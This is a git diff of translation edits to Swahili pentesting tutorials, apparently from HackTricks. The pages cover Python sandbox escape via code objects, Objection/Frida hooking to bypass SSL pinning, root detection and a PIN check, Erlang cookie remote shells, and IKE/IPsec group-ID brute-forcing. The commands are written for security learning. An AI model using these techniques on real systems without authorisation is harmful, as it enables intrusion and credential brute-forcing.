Kama katika mfano ufuatao, unaweza **kufikia kituo cha msimbo** cha kazi hiyo, lakini kwa kusoma tu disassemble hujui jinsi ya kuhesabu bendera** (_fikiria kazi ngumu zaidi ya `calc_flag`_)
|
||||
Kama katika mfano ufuatao, unaweza **kufikia kitu cha msimbo** cha kazi hiyo, lakini kwa kusoma tu disassemble hujui jinsi ya kuhesabu bendera** (_fikiria kazi ngumu zaidi ya `calc_flag`_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -957,7 +958,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!NOTE]
|
||||
> Kulingana na toleo la python, **parametri** za `code_type` zinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa param katika toleo la python unalotumia ni kukimbia:
|
||||
> Kulingana na toleo la python, **parameta** za `code_type` zinaweza kuwa na **mpangilio tofauti**. Njia bora ya kujua mpangilio wa parameta katika toleo la python unalotumia ni kukimbia:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -981,8 +982,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza msimbo wowote wa python ukitumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** zenye mizunguko na kila kitu katika **msemo mmoja** (na tunaweza kufanya vivyo hivyo kwa kutumia **`exec`**).\
|
||||
Hata hivyo, wakati mwingine inaweza kuwa na manufaa **kuunda** **kitu kilichokusanywa** kwenye mashine ya ndani na kukitekeleza kwenye **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` kwenye CTF).
|
||||
Katika mifano ya awali mwanzoni mwa chapisho hili, unaweza kuona **jinsi ya kutekeleza msimbo wowote wa python ukitumia kazi ya `compile`**. Hii ni ya kuvutia kwa sababu unaweza **kutekeleza skripti nzima** zenye mizunguko na kila kitu katika **mstari mmoja** (na tunaweza kufanya vivyo hivyo kwa kutumia **`exec`**).\
|
||||
Hata hivyo, wakati mwingine inaweza kuwa na manufaa **kuunda** **kitu kilichokusanywa** katika mashine ya ndani na kukitekeleza katika **mashine ya CTF** (kwa mfano kwa sababu hatuna kazi ya `compiled` katika CTF).
|
||||
|
||||
Kwa mfano, hebu tukusanye na kutekeleza kwa mikono kazi inayosoma _./poc.py_:
|
||||
```python
|
||||
@ -1011,7 +1012,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitaja moja kwa moja kawaida itashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi isiyo katika mazingira yaliyopunguzika kuitaja kazi hii.**
|
||||
Ikiwa huwezi kufikia `eval` au `exec` unaweza kuunda **kazi sahihi**, lakini kuitaja moja kwa moja kawaida itashindwa na: _mwandamizi haupatikani katika hali iliyozuiliwa_. Hivyo unahitaji **kazi ambayo si katika mazingira yaliyowekwa ili kuitaja kazi hii.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1054,5 +1055,4 @@ itaepukwa
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## **Utangulizi**
|
||||
|
||||
**objection - Utafiti wa Simu kwa Wakati Halisi**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection) ni zana ya utafiti wa simu kwa wakati halisi, inayotolewa na [Frida](https://www.frida.re). Ilijengwa kwa lengo la kusaidia kutathmini programu za simu na hali yao ya usalama bila haja ya kifaa cha simu kilichovunjwa au kilichoshikiliwa.
|
||||
|
||||
**Kumbuka:** Hii si aina yoyote ya kukwepa jailbreak / root. Kwa kutumia `objection`, bado unakabiliwa na vizuizi vyote vilivyowekwa na sandbox inayohusika unayokutana nayo.
|
||||
**Kumbuka:** Hii si aina yoyote ya kukwepa jailbreak / root. Kwa kutumia `objection`, bado unakabiliwa na vizuizi vyote vilivyowekwa na sandbox inayofaa unayokutana nayo.
|
||||
|
||||
### Muhtasari
|
||||
|
||||
@ -20,7 +18,9 @@
|
||||
|
||||
Kwa ajili ya tutorial hii nitatumia APK ambayo unaweza kupakua hapa:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
Au kutoka kwenye [hifadhi yake ya asili](https://github.com/asvid/FridaApp)(pakua app-release.apk)
|
||||
|
||||
@ -30,9 +30,9 @@ pip3 install objection
|
||||
```
|
||||
### Connection
|
||||
|
||||
Fanya **muunganisho wa kawaida wa ADB** na **anzisha** seva ya **frida** kwenye kifaa (na hakikisha frida inafanya kazi kwenye mteja na seva).
|
||||
Fanya **muunganisho wa kawaida wa ADB** na **anzisha** seva ya **frida** kwenye kifaa (na hakikisha kwamba frida inafanya kazi kwenye mteja na seva).
|
||||
|
||||
Ikiwa unatumia **kifaa kilichopandishwa mizizi**, inahitajika kuchagua programu unayotaka kupima ndani ya chaguo la _**--gadget**_. katika kesi hii:
|
||||
Ikiwa unatumia **kifaa kilichopandishwa** inahitajika kuchagua programu unayotaka kupima ndani ya chaguo _**--gadget**_. katika kesi hii:
|
||||
```bash
|
||||
frida-ps -Uai
|
||||
objection --gadget asvid.github.io.fridaapp explore
|
||||
@ -73,7 +73,7 @@ android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
|
||||
android root disable #Attempts to disable root detection on Android devices.
|
||||
android root simulate #Attempts to simulate a rooted Android environment.
|
||||
```
|
||||
#### Amri ya Exec
|
||||
#### Exec Command
|
||||
```bash
|
||||
android shell_exec whoami
|
||||
```
|
||||
@ -82,9 +82,9 @@ android shell_exec whoami
|
||||
android ui screenshot /tmp/screenshot
|
||||
android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys
|
||||
```
|
||||
### Uchambuzi wa Kihistoria uliofanywa kuwa wa Kihisia
|
||||
### Uchambuzi wa Kimuundo uliofanywa kuwa wa Kihisia
|
||||
|
||||
Katika programu halisi tunapaswa kujua taarifa zote zilizogunduliwa katika sehemu hii kabla ya kutumia objection kutokana na **uchambuzi wa kihistoria**. Hata hivyo, njia hii huenda ukawaona **mambo mapya** kwani hapa utakuwa na orodha kamili ya madarasa, mbinu na vitu vilivyotolewa.
|
||||
Katika programu halisi tunapaswa kujua taarifa zote zilizogunduliwa katika sehemu hii kabla ya kutumia objection kutokana na **uchambuzi wa kimuundo**. Hata hivyo, njia hii huenda ukawaona **mambo mapya** kwani hapa utakuwa na orodha kamili ya madarasa, mbinu na vitu vilivyotolewa.
|
||||
|
||||
Hii pia ni muhimu ikiwa kwa namna fulani huwezi **kupata baadhi ya msimbo wa chanzo unaoweza kusomeka** wa programu.
|
||||
|
||||
@ -97,7 +97,7 @@ android hooking list activities
|
||||
android hooking list services
|
||||
android hooking list receivers
|
||||
```
|
||||
Frida itatoa kosa ikiwa hakuna inapatikana
|
||||
Frida itazindua kosa ikiwa hakuna inapatikana
|
||||
|
||||
#### Kupata shughuli ya sasa
|
||||
```bash
|
||||
@ -107,7 +107,7 @@ android hooking get current_activity
|
||||
|
||||
#### Tafuta Madarasa
|
||||
|
||||
Hebu tuanze kutafuta madarasa ndani ya programu yetu
|
||||
Tuanzishe kutafuta madarasa ndani ya programu yetu
|
||||
```bash
|
||||
android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
@ -147,29 +147,29 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### Kuunganisha (kuangalia) darasa zima
|
||||
#### Hooking (kuangalia) darasa zima
|
||||
|
||||
Kwa kweli, ninapata mbinu zote za darasa la MainActivity kuwa za kuvutia sana, hebu **ziunganishe zote**. Kuwa makini, hii inaweza **kusababisha** programu kuanguka.
|
||||
Kwa kweli, ninapata mbinu zote za darasa MainActivity kuwa za kuvutia sana, hebu **ziunganishe zote**. Kuwa makini, hii inaweza **kusababisha** programu kuanguka.
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
Ikiwa unacheza na programu wakati darasa limeunganishwa utaona wakati **kila kazi inaitwa**, **hoja zake** na **thamani ya kurudi**.
|
||||
Ikiwa unacheza na programu wakati darasa limeunganishwa, utaona wakati **kila kazi inaitwa**, **hoja zake** na **thamani ya kurudi**.
|
||||
|
||||
.png>)
|
||||
|
||||
#### Kubadilisha thamani ya kurudi ya boolean ya kazi
|
||||
|
||||
Kutoka kwenye msimbo wa chanzo unaweza kuona kwamba kazi _checkPin_ inapata _String_ kama hoja na inarudisha _boolean_. Hebu tufanye kazi hiyo **imarudishe daima true**:
|
||||
Kutoka kwenye msimbo wa chanzo, unaweza kuona kwamba kazi _checkPin_ inapata _String_ kama hoja na inarudisha _boolean_. Hebu tufanye kazi hiyo **irudishe daima true**:
|
||||
|
||||
.png>)
|
||||
|
||||
Sasa, ikiwa utaandika chochote kwenye kisanduku cha maandiko kwa ajili ya PIN code utaona kwamba chochote ni halali:
|
||||
Sasa, ikiwa utaandika chochote kwenye kisanduku cha maandiko kwa ajili ya PIN, utaona kwamba chochote ni halali:
|
||||
|
||||
.png>)
|
||||
|
||||
### Mifano ya darasa
|
||||
|
||||
Tafuta na uchapishe **mifano hai za darasa maalum la Java**, lililoainishwa na jina kamili la darasa. Matokeo ni jaribio la kupata thamani ya mfuatano kwa kizuizi kilichogunduliwa ambacho kwa kawaida **kitakuwa na thamani za mali za kitu**.
|
||||
Tafuta na uchapishe **mifano hai ya darasa maalum la Java**, lililoainishwa na jina kamili la darasa. Matokeo ni jaribio la kupata thamani ya string kwa kigezo kilichogunduliwa ambacho kwa kawaida **kitakuwa na thamani za mali za kitu**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -185,7 +185,7 @@ android intent launch_service
|
||||
```
|
||||
### Kumbukumbu
|
||||
|
||||
#### Tupa
|
||||
#### Dump
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
@ -200,7 +200,7 @@ Katika mwisho wa orodha unaweza kuona frida:
|
||||
|
||||
.png>)
|
||||
|
||||
Hebu tuangalie ni nini frida inasafirisha:
|
||||
Hebu tuone ni nini frida inasafirisha:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -223,6 +223,6 @@ exit
|
||||
|
||||
- Mbinu za hooking wakati mwingine zinaharibu programu (hii pia ni kwa sababu ya Frida).
|
||||
- Huwezi kutumia mifano ya madarasa kuita kazi za mfano. Na huwezi kuunda mifano mipya ya madarasa na kuvitumia kuita kazi.
|
||||
- Hakuna njia fupi (kama ile ya sslpinnin) ya kuhooki mbinu zote za kawaida za crypto zinazotumiwa na programu ili kuona maandiko yaliyofichwa, maandiko ya kawaida, funguo, IVs na algorithimu zinazotumiwa.
|
||||
- Hakuna njia fupi (kama ile ya sslpinnin) ya kuhooki mbinu zote za kawaida za crypto zinazotumiwa na programu ili kuona maandiko yaliyofichwa, maandiko ya kawaida, funguo, IVs na algorithimu zinazotumika.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -9,7 +9,7 @@
|
||||
PORT STATE SERVICE VERSION
|
||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||
```
|
||||
Hii inatumika kwa default kwenye usakinishaji wa RabbitMQ na CouchDB.
|
||||
Hii inatumika kama chaguo la msingi kwenye usakinishaji wa RabbitMQ na CouchDB.
|
||||
|
||||
# Uhesabu
|
||||
|
||||
@ -23,7 +23,7 @@ apt-get install erlang
|
||||
erl #Once Erlang is installed this will promp an erlang terminal
|
||||
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
||||
```
|
||||
## Moja kwa Moja
|
||||
## Otomatiki
|
||||
```bash
|
||||
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
||||
|
||||
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
|
||||
|
||||
## Remote Connection
|
||||
|
||||
Ikiwa unaweza **kutoa kidaku cha Uthibitishaji** utaweza kutekeleza msimbo kwenye mwenyeji. Kawaida, kidaku hiki kinapatikana katika `~/.erlang.cookie` na kinazalishwa na erlang wakati wa kuanza kwa mara ya kwanza. Ikiwa hakijabadilishwa au kuwekwa kwa mikono ni mfuatano wa nasibu \[A:Z] wenye urefu wa herufi 20.
|
||||
Ikiwa unaweza **kutoa siri ya uthibitishaji** utaweza kutekeleza msimbo kwenye mwenyeji. Kawaida, siri hii iko katika `~/.erlang.cookie` na inatengenezwa na erlang wakati wa kuanza kwa mara ya kwanza. Ikiwa haijabadilishwa au kuwekwa kwa mikono ni mfuatano wa nasibu \[A:Z] wenye urefu wa herufi 20.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
@ -57,7 +57,9 @@ At last, we can start an erlang shell on the remote system.
|
||||
Zaidi ya habari katika [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Mwandishi pia anashiriki programu ya kubruteforce cookie:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## Muunganisho wa Mitaa
|
||||
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
**IPsec** inatambulika sana kama teknolojia kuu ya kulinda mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi lango la mtandao (remote access), ikihudumu kama msingi wa suluhisho za VPN za biashara.
|
||||
|
||||
Kuanzishwa kwa **ushirikiano wa usalama (SA)** kati ya pointi mbili kunasimamiwa na **IKE**, ambayo inafanya kazi chini ya kivuli cha ISAKMP, protokali iliyoundwa kwa ajili ya uthibitishaji na kubadilishana funguo. Mchakato huu unafanyika katika hatua kadhaa:
|
||||
Kuanzishwa kwa **association ya usalama (SA)** kati ya maeneo mawili kunasimamiwa na **IKE**, ambayo inafanya kazi chini ya kivuli cha ISAKMP, protokali iliyoundwa kwa ajili ya uthibitishaji na kubadilishana funguo. Mchakato huu unafanyika katika hatua kadhaa:
|
||||
|
||||
- **Phase 1:** Kituo salama kinaundwa kati ya mwisho mbili. Hii inapatikana kupitia matumizi ya Funguo za Kwanza za Kushiriki (PSK) au vyeti, ikitumia hali kuu, ambayo inajumuisha jozi tatu za ujumbe, au **aggressive mode**.
|
||||
- **Phase 1.5:** Ingawa si ya lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kupanuliwa, inathibitisha utambulisho wa mtumiaji anayejaribu kuungana kwa kuhitaji jina la mtumiaji na nenosiri.
|
||||
- **Phase 2:** Hatua hii inajitolea kwa kujadili vigezo vya kulinda data kwa kutumia **ESP** na **AH**. Inaruhusu matumizi ya algorithimu tofauti na zile katika Hatua ya 1 ili kuhakikisha **Perfect Forward Secrecy (PFS)**, ikiongeza usalama.
|
||||
- **Phase 1:** Kituo salama kinaundwa kati ya maeneo mawili. Hii inapatikana kupitia matumizi ya Pre-Shared Key (PSK) au vyeti, ikitumia njia kuu, ambayo inajumuisha jozi tatu za ujumbe, au **aggressive mode**.
|
||||
- **Phase 1.5:** Ingawa si ya lazima, hatua hii, inayojulikana kama Extended Authentication Phase, inathibitisha utambulisho wa mtumiaji anayejaribu kuungana kwa kuhitaji jina la mtumiaji na nenosiri.
|
||||
- **Phase 2:** Hatua hii inajitolea kwa kujadili vigezo vya kulinda data kwa kutumia **ESP** na **AH**. Inaruhusu matumizi ya algorithimu tofauti na zile katika Phase 1 ili kuhakikisha **Perfect Forward Secrecy (PFS)**, ikiongeza usalama.
|
||||
|
||||
**Default port:** 500/udp
|
||||
|
||||
@ -26,9 +26,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## **Kupata mabadiliko halali**
|
||||
|
||||
Mipangilio ya IPSec inaweza kuandaliwa kukubali mabadiliko moja au machache tu. Mabadiliko ni mchanganyiko wa thamani. **Kila mabadiliko** ina idadi ya sifa kama DES au 3DES kama **algorithimu ya usimbuaji**, SHA au MD5 kama **algorithimu ya uaminifu**, funguo zilizoshirikiwa kabla kama **aina ya uthibitishaji**, Diffie-Hellman 1 au 2 kama **algorithimu ya usambazaji wa funguo** na sekunde 28800 kama **muda wa maisha**.
|
||||
Mipangilio ya IPSec inaweza kuandaliwa ili kukubali mabadiliko moja au machache tu. Mabadiliko ni mchanganyiko wa thamani. **Kila mabadiliko** ina idadi ya sifa kama DES au 3DES kama **algorithimu ya usimbaji**, SHA au MD5 kama **algorithimu ya uaminifu**, funguo zilizoshirikiwa kabla kama **aina ya uthibitishaji**, Diffie-Hellman 1 au 2 kama **algorithimu ya usambazaji wa funguo** na sekunde 28800 kama **muda wa maisha**.
|
||||
|
||||
Basi, jambo la kwanza unalopaswa kufanya ni **kupata mabadiliko halali**, ili seva ikuzungumze. Ili kufanya hivyo, unaweza kutumia zana **ike-scan**. Kwa default, Ike-scan inafanya kazi katika hali kuu, na inatuma pakiti kwa lango lenye kichwa cha ISAKMP na pendekezo moja lenye **mabadiliko nane ndani yake**.
|
||||
Basi, jambo la kwanza unalopaswa kufanya ni **kupata mabadiliko halali**, ili server ikuzungumze. Ili kufanya hivyo, unaweza kutumia chombo **ike-scan**. Kwa kawaida, Ike-scan inafanya kazi katika hali kuu, na inatuma pakiti kwa lango lenye kichwa cha ISAKMP na pendekezo moja lenye **mabadiliko nane ndani yake**.
|
||||
|
||||
Kulingana na jibu unaweza kupata taarifa fulani kuhusu mwisho:
|
||||
```
|
||||
@ -41,7 +41,7 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
||||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
Kama unavyoona katika jibu la awali, kuna uwanja unaoitwa **AUTH** wenye thamani **PSK**. Hii ina maana kwamba vpn imewekwa kwa kutumia funguo za awali (na hii ni nzuri sana kwa pentester).\
|
||||
Kama unavyoona katika jibu la awali, kuna uwanja unaoitwa **AUTH** wenye thamani **PSK**. Hii ina maana kwamba vpn imewekwa kwa kutumia funguo zilizoshirikiwa mapema (na hii ni nzuri sana kwa pentester).\
|
||||
**Thamani ya mstari wa mwisho pia ni muhimu sana:**
|
||||
|
||||
- _0 ilirudisha handshake; 0 ilirudisha notify:_ Hii ina maana kwamba lengo **si lango la IPsec**.
|
||||
@ -73,11 +73,11 @@ Pia unaweza kujaribu kulazimisha mabadiliko kwa kutumia [**ikeforce**](https://g
|
||||
Katika **DH Group: 14 = 2048-bit MODP** na **15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa `--trans` ni $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco inaonyesha kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu havina nguvu za kutosha. Wataalamu wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja usimbuaji** wa data inayotumia vikundi hivi dhaifu. Hii inafanywa kwa kutumia mbinu maalum inayowandaa kuvunja misimbo kwa haraka. Ingawa inagharimu pesa nyingi kuweka mbinu hii, inawawezesha nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kundi ambalo si imara (kama 1,024-bit au ndogo).
|
||||
Cisco inaonyesha kuepuka kutumia DH groups 1 na 2 kwa sababu hazina nguvu za kutosha. Wataalamu wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja usimbuaji** wa data inayotumia vikundi hivi dhaifu. Hii inafanywa kwa kutumia mbinu maalum inayowandaa kuvunja misimbo kwa haraka. Ingawa inagharimu pesa nyingi kuweka mbinu hii, inawawezesha nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kundi ambalo si imara (kama 1,024-bit au ndogo).
|
||||
|
||||
### Ufuatiliaji wa alama za seva
|
||||
### Server fingerprinting
|
||||
|
||||
Kisha, unaweza kutumia ike-scan kujaribu **kujua muuzaji** wa kifaa. Chombo kinatuma pendekezo la awali na kusitisha kurudia. Kisha, itachambua **tofauti** ya **wakati** **kati ya** ujumbe **zilizopokelewa** kutoka kwa seva na muundo wa majibu unaolingana, pentester anaweza kwa mafanikio kufuatilia muuzaji wa VPN gateway. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **Vendor ID (VID) payload** kwa IKE.
|
||||
Kisha, unaweza kutumia ike-scan kujaribu **gundua muuzaji** wa kifaa. Chombo kinatuma pendekezo la awali na kusitisha kurudi. Kisha, itachambua **tofauti ya wakati** **kati ya** **ujumbe** ulipokelewa kutoka kwa seva na muundo wa majibu unaolingana, pentester anaweza kwa mafanikio kubaini muuzaji wa VPN gateway. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **Vendor ID (VID) payload** ya hiari pamoja na IKE.
|
||||
|
||||
**Taja mabadiliko halali ikiwa inahitajika** (ukitumia --trans)
|
||||
|
||||
@ -103,18 +103,18 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
||||
```
|
||||
Hii inaweza pia kufanywa kwa kutumia nmap script _**ike-version**_
|
||||
|
||||
## Kupata ID sahihi (jina la kundi)
|
||||
## Kutafuta ID sahihi (jina la kundi)
|
||||
|
||||
Ili kuruhusiwa kukamata hash unahitaji mabadiliko halali yanayounga mkono Aggressive mode na ID sahihi (jina la kundi). Huenda usijue jina halali la kundi, hivyo itabidi ujaribu kulazimisha.\
|
||||
Ili kufanya hivyo, ningependekeza njia 2:
|
||||
Ili kuruhusiwa kukamata hash unahitaji mabadiliko halali yanayounga mkono Aggressive mode na ID sahihi (jina la kundi). Huenda usijue jina halali la kundi, hivyo itabidi ufanye brute-force.\
|
||||
Ili kufanya hivyo, ningependa kukupendekezea mbinu 2:
|
||||
|
||||
### Kulazimisha ID kwa kutumia ike-scan
|
||||
### Bruteforcing ID kwa kutumia ike-scan
|
||||
|
||||
Kwanza kabisa jaribu kufanya ombi na ID bandia ukijaribu kukusanya hash ("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Ikiwa **hakuna hash inayorejeshwa**, basi labda njia hii ya brute forcing itafanya kazi. **Ikiwa hash fulani inarejeshwa, hii inamaanisha kwamba hash ya uwongo itatumwa kwa ID ya uwongo, hivyo njia hii haitakuwa ya kuaminika** katika brute-force ID. Kwa mfano, hash ya uwongo inaweza kurejeshwa (hii inatokea katika toleo za kisasa):
|
||||
Ikiwa **hakuna hash inayorejeshwa**, basi huenda njia hii ya brute forcing itafanya kazi. **Ikiwa hash fulani inarejeshwa, hii inamaanisha kwamba hash bandia itatumwa kwa ID bandia, hivyo njia hii haitakuwa ya kuaminika** katika brute-force ID. Kwa mfano, hash bandia inaweza kurejeshwa (hii inatokea katika toleo za kisasa):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -122,29 +122,31 @@ Lakini kama nilivyosema, ikiwa hakuna hash inayorejeshwa, basi unapaswa kujaribu
|
||||
|
||||
Script hii **itajaribu brute-force IDs zinazowezekana** na itarejesha IDs ambapo handshake halali inarejeshwa (hii itakuwa jina halali la kundi).
|
||||
|
||||
Ikiwa umepata mabadiliko maalum, ongeza katika amri ya ike-scan. Na ikiwa umepata mabadiliko kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi ipasavyo).
|
||||
Ikiwa umepata mabadiliko maalum, ongeza katika amri ya ike-scan. Na ikiwa umepata mabadiliko kadhaa, usisite kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja kati yao ifanye kazi ipasavyo).
|
||||
|
||||
Unaweza kutumia [dictionary ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya vikundi ya kawaida kujaribu kuvi-brute-force:
|
||||
Unaweza kutumia [kamusi ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya vikundi ya kawaida kujaribu kuvi-brute-force:
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
{% file src="../images/vpnIDs.txt" %}
|
||||
{{#file}}
|
||||
vpnIDs.txt
|
||||
{{#endfile}}
|
||||
|
||||
### Bruteforcing ID na Iker
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) pia inatumia **ike-scan** kutafuta majina ya vikundi yanayoweza kuwa. Inafuata njia yake mwenyewe ya **kupata ID halali kulingana na matokeo ya ike-scan**.
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) pia inatumia **ike-scan** kutafuta majina ya vikundi yanayoweza. Inafuata njia yake mwenyewe ya **kupata ID halali kulingana na matokeo ya ike-scan**.
|
||||
|
||||
### Bruteforcing ID na ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo ambacho kinaweza kutumika **kuvunjia nguvu IDs pia**. Chombo hiki kitajaribu **kutitisha udhaifu tofauti** ambazo zinaweza kutumika **kuweza kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na positives za uwongo na negatives za uwongo, ndiyo maana napendelea kutumia njia ya ike-scan ikiwa inawezekana).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo ambacho kinaweza kutumika **kujaribu nguvu IDs pia**. Chombo hiki kitajaribu **kuchangamsha udhaifu tofauti** ambazo zinaweza kutumika **kuweza kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na positives za uwongo na negatives za uwongo, ndiyo maana napendelea kutumia njia ya ike-scan ikiwa inawezekana).
|
||||
|
||||
Kwa kawaida **ikeforce** itatuma mwanzoni IDs za nasibu ili kuangalia tabia ya seva na kuamua mbinu ya kutumia.
|
||||
|
||||
- **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** taarifa ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inarudiwa tu na seva ikiwa jina la kundi ni sahihi).
|
||||
- **Njia ya kwanza** ni kujaribu nguvu majina ya vikundi kwa **kutafuta** taarifa ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inarejelewa tu na seva ikiwa jina la kundi ni sahihi).
|
||||
- **Njia ya pili** inayopatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu wakati mwingine pakiti zaidi zitatumwa wakati ID sahihi inatumika.
|
||||
- **Njia ya tatu** inajumuisha **kutafuta "INVALID-ID-INFORMATION" katika jibu la ID isiyo sahihi**.
|
||||
- Hatimaye, ikiwa seva haitajibu chochote kwa ukaguzi, **ikeforce** itajaribu kuvunja nguvu seva na kuangalia ikiwa wakati ID sahihi inatumika seva inajibu kwa pakiti fulani.\
|
||||
Kwa wazi, lengo la kuvunja nguvu ID ni kupata **PSK** unapokuwa na ID halali. Kisha, pamoja na **ID** na **PSK** utahitaji kuvunja nguvu XAUTH (ikiwa imewezeshwa).
|
||||
- Hatimaye, ikiwa seva haitajibu chochote kwa ukaguzi, **ikeforce** itajaribu kujaribu nguvu seva na kuangalia ikiwa wakati ID sahihi inatumwa seva inajibu kwa pakiti fulani.\
|
||||
Kwa wazi, lengo la kujaribu nguvu ID ni kupata **PSK** unapokuwa na ID halali. Kisha, pamoja na **ID** na **PSK** utahitaji kujaribu nguvu XAUTH (ikiwa imewezeshwa).
|
||||
|
||||
Ikiwa umepata mabadiliko maalum ongeza katika amri ya ikeforce. Na ikiwa umepata mabadiliko kadhaa usisite kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi vizuri).
|
||||
```bash
|
||||
@ -157,13 +159,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
```
|
||||
### Sniffing ID
|
||||
|
||||
(Kutoka katika kitabu **Network Security Assessment: Know Your Network**): Pia inawezekana kupata majina halali ya watumiaji kwa kunasa muunganisho kati ya mteja wa VPN na seva, kwani pakiti ya kwanza ya hali ya shambulio inayojumuisha kitambulisho cha mteja inatumwa wazi
|
||||
